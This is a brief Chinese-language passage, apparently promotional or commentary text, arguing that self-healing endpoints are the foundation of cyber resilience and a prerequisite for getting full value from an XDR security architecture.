自愈合端点是网络弹性的基石。夯实这方面是充分利用XDR架构的先决条件,而XDR架构可以发挥其保护组织核心业务功能和客户的潜力。